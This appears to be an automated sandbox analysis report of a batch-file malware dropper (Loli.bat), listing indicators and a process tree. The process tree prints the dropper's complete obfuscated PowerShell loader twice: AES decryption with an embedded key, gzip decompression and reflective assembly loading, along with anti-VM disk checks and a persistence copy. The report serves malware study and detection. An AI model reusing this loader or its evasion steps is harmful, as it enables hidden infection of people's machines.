Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2336	powershell.exe
2336	powershell.exe
2336	powershell.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe
4408	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3492	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	powershell.exe
Token: SeDebugPrivilege	4408	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1808	svchost.exe
Token: SeIncreaseQuotaPrivilege	1808	svchost.exe
Token: SeSecurityPrivilege	1808	svchost.exe
Token: SeTakeOwnershipPrivilege	1808	svchost.exe
Token: SeLoadDriverPrivilege	1808	svchost.exe
Token: SeSystemtimePrivilege	1808	svchost.exe
Token: SeBackupPrivilege	1808	svchost.exe
Token: SeRestorePrivilege	1808	svchost.exe
Token: SeShutdownPrivilege	1808	svchost.exe
Token: SeSystemEnvironmentPrivilege	1808	svchost.exe
Token: SeUndockPrivilege	1808	svchost.exe
Token: SeManageVolumePrivilege	1808	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1808	svchost.exe
Token: SeIncreaseQuotaPrivilege	1808	svchost.exe
Token: SeSecurityPrivilege	1808	svchost.exe
Token: SeTakeOwnershipPrivilege	1808	svchost.exe
Token: SeLoadDriverPrivilege	1808	svchost.exe
Token: SeSystemtimePrivilege	1808	svchost.exe
Token: SeBackupPrivilege	1808	svchost.exe
Token: SeRestorePrivilege	1808	svchost.exe
Token: SeShutdownPrivilege	1808	svchost.exe
Token: SeSystemEnvironmentPrivilege	1808	svchost.exe
Token: SeUndockPrivilege	1808	svchost.exe
Token: SeManageVolumePrivilege	1808	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1808	svchost.exe
Token: SeIncreaseQuotaPrivilege	1808	svchost.exe
Token: SeSecurityPrivilege	1808	svchost.exe
Token: SeTakeOwnershipPrivilege	1808	svchost.exe
Token: SeLoadDriverPrivilege	1808	svchost.exe
Token: SeSystemtimePrivilege	1808	svchost.exe
Token: SeBackupPrivilege	1808	svchost.exe
Token: SeRestorePrivilege	1808	svchost.exe
Token: SeShutdownPrivilege	1808	svchost.exe
Token: SeSystemEnvironmentPrivilege	1808	svchost.exe
Token: SeUndockPrivilege	1808	svchost.exe
Token: SeManageVolumePrivilege	1808	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1808	svchost.exe
Token: SeIncreaseQuotaPrivilege	1808	svchost.exe
Token: SeSecurityPrivilege	1808	svchost.exe
Token: SeTakeOwnershipPrivilege	1808	svchost.exe
Token: SeLoadDriverPrivilege	1808	svchost.exe
Token: SeSystemtimePrivilege	1808	svchost.exe
Token: SeBackupPrivilege	1808	svchost.exe
Token: SeRestorePrivilege	1808	svchost.exe
Token: SeShutdownPrivilege	1808	svchost.exe
Token: SeSystemEnvironmentPrivilege	1808	svchost.exe
Token: SeUndockPrivilege	1808	svchost.exe
Token: SeManageVolumePrivilege	1808	svchost.exe
Token: SeShutdownPrivilege	3492	Explorer.EXE
Token: SeCreatePagefilePrivilege	3492	Explorer.EXE
Token: SeShutdownPrivilege	3492	Explorer.EXE
Token: SeCreatePagefilePrivilege	3492	Explorer.EXE
Token: SeShutdownPrivilege	4848	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4848	mousocoreworker.exe
Token: SeShutdownPrivilege	4848	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	4848	mousocoreworker.exe
Token: SeShutdownPrivilege	3492	Explorer.EXE
Token: SeCreatePagefilePrivilege	3492	Explorer.EXE
Token: SeShutdownPrivilege	3492	Explorer.EXE
Token: SeCreatePagefilePrivilege	3492	Explorer.EXE
Token: SeShutdownPrivilege	3492	Explorer.EXE
Token: SeCreatePagefilePrivilege	3492	Explorer.EXE

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
3492	Explorer.EXE
3492	Explorer.EXE
3492	Explorer.EXE
3492	Explorer.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5044	Conhost.exe
3272	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1112 wrote to memory of 692	1112	cmd.exe	84
PID 1112 wrote to memory of 692	1112	cmd.exe	84
PID 1112 wrote to memory of 4916	1112	cmd.exe	85
PID 1112 wrote to memory of 4916	1112	cmd.exe	85
PID 1112 wrote to memory of 3728	1112	cmd.exe	86
PID 1112 wrote to memory of 3728	1112	cmd.exe	86
PID 1112 wrote to memory of 4848	1112	cmd.exe	87
PID 1112 wrote to memory of 4848	1112	cmd.exe	87
PID 1112 wrote to memory of 1412	1112	cmd.exe	88
PID 1112 wrote to memory of 1412	1112	cmd.exe	88
PID 1112 wrote to memory of 2336	1112	cmd.exe	89
PID 1112 wrote to memory of 2336	1112	cmd.exe	89
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 2336 wrote to memory of 4408	2336	powershell.exe	95
PID 4408 wrote to memory of 612	4408	dllhost.exe	5
PID 4408 wrote to memory of 668	4408	dllhost.exe	7
PID 4408 wrote to memory of 944	4408	dllhost.exe	12
PID 4408 wrote to memory of 316	4408	dllhost.exe	13
PID 4408 wrote to memory of 388	4408	dllhost.exe	14
PID 4408 wrote to memory of 860	4408	dllhost.exe	15
PID 4408 wrote to memory of 1080	4408	dllhost.exe	17
PID 4408 wrote to memory of 1096	4408	dllhost.exe	18
PID 4408 wrote to memory of 1136	4408	dllhost.exe	19
PID 4408 wrote to memory of 1156	4408	dllhost.exe	20
PID 4408 wrote to memory of 1284	4408	dllhost.exe	21
PID 4408 wrote to memory of 1308	4408	dllhost.exe	22
PID 4408 wrote to memory of 1364	4408	dllhost.exe	23
PID 4408 wrote to memory of 1436	4408	dllhost.exe	24
PID 4408 wrote to memory of 1492	4408	dllhost.exe	25
PID 4408 wrote to memory of 1508	4408	dllhost.exe	26
PID 4408 wrote to memory of 1560	4408	dllhost.exe	27
PID 4408 wrote to memory of 1660	4408	dllhost.exe	28
PID 4408 wrote to memory of 1708	4408	dllhost.exe	29
PID 4408 wrote to memory of 1768	4408	dllhost.exe	30
PID 4408 wrote to memory of 1776	4408	dllhost.exe	31
PID 4408 wrote to memory of 1868	4408	dllhost.exe	32
PID 4408 wrote to memory of 1996	4408	dllhost.exe	33
PID 4408 wrote to memory of 2004	4408	dllhost.exe	34
PID 4408 wrote to memory of 2032	4408	dllhost.exe	35
PID 4408 wrote to memory of 1760	4408	dllhost.exe	36
PID 4408 wrote to memory of 1808	4408	dllhost.exe	37
PID 4408 wrote to memory of 2132	4408	dllhost.exe	38
PID 4408 wrote to memory of 2216	4408	dllhost.exe	40
PID 4408 wrote to memory of 2296	4408	dllhost.exe	41
PID 4408 wrote to memory of 2476	4408	dllhost.exe	42
PID 4408 wrote to memory of 2492	4408	dllhost.exe	43
PID 4408 wrote to memory of 2616	4408	dllhost.exe	44
PID 4408 wrote to memory of 2660	4408	dllhost.exe	45
PID 4408 wrote to memory of 2720	4408	dllhost.exe	47
PID 4408 wrote to memory of 2728	4408	dllhost.exe	48
PID 4408 wrote to memory of 2864	4408	dllhost.exe	49
PID 4408 wrote to memory of 2920	4408	dllhost.exe	50
PID 4408 wrote to memory of 2936	4408	dllhost.exe	51
PID 4408 wrote to memory of 2952	4408	dllhost.exe	52
PID 4408 wrote to memory of 2968	4408	dllhost.exe	53
PID 4408 wrote to memory of 3164	4408	dllhost.exe	54
PID 4408 wrote to memory of 3456	4408	dllhost.exe	55
PID 4408 wrote to memory of 3492	4408	dllhost.exe	56

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:316
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cb89db09-0b2d-4f98-b438-254a1674c8be}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4408
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{a9bc4594-2230-4e3d-80b2-6e13cf8ed184}
  2⤵
  PID:788

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:860

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1156
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1492

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1560
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1776

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1996

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1808

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2132

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2720

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2920

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2936

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2968

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3456

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1112
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4656
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:692
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
    3⤵
    PID:4916
- - C:\Windows\system32\fsutil.exe
    fsutil fsinfo drives
    3⤵
    PID:3728
- - C:\Windows\system32\findstr.exe
    findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
    3⤵
    PID:4848
- - C:\Windows\system32\cmd.exe
    cmd.exe /c echo function DcdT($eCPO){ Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$wggZ=[xFSxFyxFsxFtexFmxF.xFSxFexFcuxFrxFixFtxFyxF.xFCrxFypxFtxFoxFgrxFaxFphxFyxF.xFAxFesxF]xF::xFCxFrxFexFaxFtexF(xF)xF;'.Replace('xF', ''); Invoke-Expression -WarningAction Inquire -Debug '$wggZ.MQMoQMdQMeQM=[QMSQMyQMsQMtQMemQM.QMSQMeQMcQMuQMriQMtyQM.QMCQMryQMpQMtoQMgQMrQMaQMphQMyQM.CQMiQMpQMhQMeQMrMQMoQMdQMeQM]:QM:QMCQMBQMC;'.Replace('QM', ''); Invoke-Expression -InformationAction Ignore -Verbose '$wggZ.PxAaxAdxAdxAinxAgxA=xA[xASxAysxAtxAexAmxA.xASxAecxAurxAixAtxAy.xACxAryxApxAtxAoxAgrxAaxAphxAyxA.xAPxAaxAddxAixAnxAgxAMoxAdxAexA]xA::xAPKxACSxA7;'.Replace('xA', ''); Invoke-Expression -WarningAction Inquire '$wggZ.KTweTwyTw=Tw[STwyTwsTwtTweTwm.TwCTwoTwnTwvTweTwrtTw]:Tw:TwFTwroTwmTwBaTwsTweTw6Tw4STwtTwriTwnTwg("DTwHTwxTwITw4ATwKTwCTwxTwfTwUyTw2TwDTwUTwTTw5TwzdTw0ATw4TwmTw7cTwwTw9rTwTTwtTw3TwVyTwWTwj7TwsTwzTwsTwWTw+/TwITw=Tw");'.Replace('Tw', ''); Invoke-Expression -Debug '$wggZ.IGNVGN=GN[GNSyGNsGNtGNeGNmGN.CGNoGNnGNvGNeGNrGNt]GN::GNFGNrGNomGNBGNasGNeGN6GN4GNStGNrGNinGNgGN("7GNrGNHGNwGNHBGNHGNCGN+GN6GNmVGN+GN2GNjGNvGN1GNRUGNoBGNQGN=GN=");'.Replace('GN', ''); $DeCA=$wggZ.CreateDecryptor(); $PePz=$DeCA.TransformFinalBlock($eCPO, 0, $eCPO.Length); $DeCA.Dispose(); $wggZ.Dispose(); $PePz;}function IBnH($eCPO){ Invoke-Expression -Verbose -Debug '$VVee=NGYeGYwGY-GYObGYjGYeGYcGYtGY SGYyGYsGYtGYeGYmGY.IGYO.GYMGYeGYmoGYrGYySGYtGYrGYeGYamGY(,$eCPO);'.Replace('GY', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose -WarningAction Inquire '$ZBYu=NGYeGYwGY-GYObGYjGYeGYcGYtGY SGYyGYsGYtGYeGYmGY.IGYO.GYMGYeGYmoGYrGYySGYtGYrGYeGYamGY;'.Replace('GY', ''); Invoke-Expression -Verbose -InformationAction Ignore -WarningAction Inquire '$UCXm=NJheJhwJh-JhObJhjJheJhcJhtJh SJhyJhsJhtJheJhmJh.IJhO.JhCJhoJhmpJhrJhesJhsJhiJhoJhn.JhGJhZiJhpJhSJhtJhrJheaJhmJh($VVee, [JhIJhOJh.JhCoJhmJhpJhrJheJhssJhiJhoJhnJh.JhCJhomJhprJheJhsJhsiJhoJhnMJhoJhdJheJh]:Jh:JhDeJhcJhoJhmJhpJhreJhsJhsJh);'.Replace('Jh', ''); $UCXm.CopyTo($ZBYu); $UCXm.Dispose(); $VVee.Dispose(); $ZBYu.Dispose(); $ZBYu.ToArray();}function ohAa($eCPO,$fBUZ){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$pPPX=[TeSTeyTesTeteTemTe.TeRTeeTeflTeeTecTetTeiTeoTen.TeAsTesTeeTembTelTey]Te:Te:TeLTeoaTedTe([byte[]]$eCPO);'.Replace('Te', ''); Invoke-Expression -WarningAction Inquire '$JnHF=$pPPX.EdfndftdfrdfyPdfodfidfndft;'.Replace('df', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug '$JnHF.UDIUDnUDvUDokUDeUD(UD$UDnUDulUDlUD, $fBUZ);'.Replace('UD', '');}$doho = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $doho;$AwXW=[System.IO.File]::ReadAllText($doho).Split([Environment]::NewLine);foreach ($cxlQ in $AwXW) { if ($cxlQ.StartsWith('azhCc')) { $FRUQ=$cxlQ.Substring(5); break; }}$NIKZ=[string[]]$FRUQ.Split('\');Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$Lws = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[0].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');Invoke-Expression -InformationAction Ignore -Debug -Verbose -WarningAction Inquire '$ijc = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[1].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');Invoke-Expression -Debug '$oYy = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[2].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');ohAa $Lws $null;ohAa $ijc $null;ohAa $oYy (,[string[]] (''));
    3⤵
    PID:1412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2336
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2336 -s 1824
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:2596
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat
      4⤵
      Drops file in Windows directory
      PID:3256
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Windows\$rbx-onimai2\$rbx-CO2.bat" "
      4⤵
      PID:4356
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5044
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:2888
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
        5⤵
        
        PID:4684
    - - C:\Windows\system32\fsutil.exe
        
        fsutil fsinfo drives
        5⤵
        
        PID:1704
    - - C:\Windows\system32\findstr.exe
        
        findstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"
        5⤵
        
        PID:1072
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c echo function DcdT($eCPO){ Invoke-Expression -WarningAction Inquire -Debug -InformationAction Ignore '$wggZ=[xFSxFyxFsxFtexFmxF.xFSxFexFcuxFrxFixFtxFyxF.xFCrxFypxFtxFoxFgrxFaxFphxFyxF.xFAxFesxF]xF::xFCxFrxFexFaxFtexF(xF)xF;'.Replace('xF', ''); Invoke-Expression -WarningAction Inquire -Debug '$wggZ.MQMoQMdQMeQM=[QMSQMyQMsQMtQMemQM.QMSQMeQMcQMuQMriQMtyQM.QMCQMryQMpQMtoQMgQMrQMaQMphQMyQM.CQMiQMpQMhQMeQMrMQMoQMdQMeQM]:QM:QMCQMBQMC;'.Replace('QM', ''); Invoke-Expression -InformationAction Ignore -Verbose '$wggZ.PxAaxAdxAdxAinxAgxA=xA[xASxAysxAtxAexAmxA.xASxAecxAurxAixAtxAy.xACxAryxApxAtxAoxAgrxAaxAphxAyxA.xAPxAaxAddxAixAnxAgxAMoxAdxAexA]xA::xAPKxACSxA7;'.Replace('xA', ''); Invoke-Expression -WarningAction Inquire '$wggZ.KTweTwyTw=Tw[STwyTwsTwtTweTwm.TwCTwoTwnTwvTweTwrtTw]:Tw:TwFTwroTwmTwBaTwsTweTw6Tw4STwtTwriTwnTwg("DTwHTwxTwITw4ATwKTwCTwxTwfTwUyTw2TwDTwUTwTTw5TwzdTw0ATw4TwmTw7cTwwTw9rTwTTwtTw3TwVyTwWTwj7TwsTwzTwsTwWTw+/TwITw=Tw");'.Replace('Tw', ''); Invoke-Expression -Debug '$wggZ.IGNVGN=GN[GNSyGNsGNtGNeGNmGN.CGNoGNnGNvGNeGNrGNt]GN::GNFGNrGNomGNBGNasGNeGN6GN4GNStGNrGNinGNgGN("7GNrGNHGNwGNHBGNHGNCGN+GN6GNmVGN+GN2GNjGNvGN1GNRUGNoBGNQGN=GN=");'.Replace('GN', ''); $DeCA=$wggZ.CreateDecryptor(); $PePz=$DeCA.TransformFinalBlock($eCPO, 0, $eCPO.Length); $DeCA.Dispose(); $wggZ.Dispose(); $PePz;}function IBnH($eCPO){ Invoke-Expression -Verbose -Debug '$VVee=NGYeGYwGY-GYObGYjGYeGYcGYtGY SGYyGYsGYtGYeGYmGY.IGYO.GYMGYeGYmoGYrGYySGYtGYrGYeGYamGY(,$eCPO);'.Replace('GY', ''); Invoke-Expression -Debug -InformationAction Ignore -Verbose -WarningAction Inquire '$ZBYu=NGYeGYwGY-GYObGYjGYeGYcGYtGY SGYyGYsGYtGYeGYmGY.IGYO.GYMGYeGYmoGYrGYySGYtGYrGYeGYamGY;'.Replace('GY', ''); Invoke-Expression -Verbose -InformationAction Ignore -WarningAction Inquire '$UCXm=NJheJhwJh-JhObJhjJheJhcJhtJh SJhyJhsJhtJheJhmJh.IJhO.JhCJhoJhmpJhrJhesJhsJhiJhoJhn.JhGJhZiJhpJhSJhtJhrJheaJhmJh($VVee, [JhIJhOJh.JhCoJhmJhpJhrJheJhssJhiJhoJhnJh.JhCJhomJhprJheJhsJhsiJhoJhnMJhoJhdJheJh]:Jh:JhDeJhcJhoJhmJhpJhreJhsJhsJh);'.Replace('Jh', ''); $UCXm.CopyTo($ZBYu); $UCXm.Dispose(); $VVee.Dispose(); $ZBYu.Dispose(); $ZBYu.ToArray();}function ohAa($eCPO,$fBUZ){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$pPPX=[TeSTeyTesTeteTemTe.TeRTeeTeflTeeTecTetTeiTeoTen.TeAsTesTeeTembTelTey]Te:Te:TeLTeoaTedTe([byte[]]$eCPO);'.Replace('Te', ''); Invoke-Expression -WarningAction Inquire '$JnHF=$pPPX.EdfndftdfrdfyPdfodfidfndft;'.Replace('df', ''); Invoke-Expression -Verbose -InformationAction Ignore -Debug '$JnHF.UDIUDnUDvUDokUDeUD(UD$UDnUDulUDlUD, $fBUZ);'.Replace('UD', '');}$doho = 'C:\Windows\$rbx-onimai2\$rbx-CO2.bat';$host.UI.RawUI.WindowTitle = $doho;$AwXW=[System.IO.File]::ReadAllText($doho).Split([Environment]::NewLine);foreach ($cxlQ in $AwXW) { if ($cxlQ.StartsWith('azhCc')) { $FRUQ=$cxlQ.Substring(5); break; }}$NIKZ=[string[]]$FRUQ.Split('\');Invoke-Expression -WarningAction Inquire -InformationAction Ignore '$Lws = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[0].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');Invoke-Expression -InformationAction Ignore -Debug -Verbose -WarningAction Inquire '$ijc = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[1].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');Invoke-Expression -Debug '$oYy = IBnH (DcdT ([oSCoSooSnoSveoSroStoS]oS:oS:FoSroSooSmoSBoSaoSseoS64oSSoStoSrioSnoSg($NIKZ[2].Replace("#", "/").Replace("@", "A"))));'.Replace('oS', '');ohAa $Lws $null;ohAa $ijc $null;ohAa $oYy (,[string[]] (''));
        5⤵
        
        PID:3688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -WindowStyle Hidden
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Suspicious use of SetWindowsHookEx
        
        PID:3272
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3272 -s 2492
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:1912
      - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3272 -s 2104
        6⤵
        
        PID:4472
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$rbx-CNT1" /F
        6⤵
        
        PID:3676
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4004
- C:\Windows\$nya-onimai2\yhENSZ.exe
  "C:\Windows\$nya-onimai2\yhENSZ.exe"
  2⤵
  - Executes dropped EXE
  PID:4928
- - C:\Windows\System32\Conhost.exe
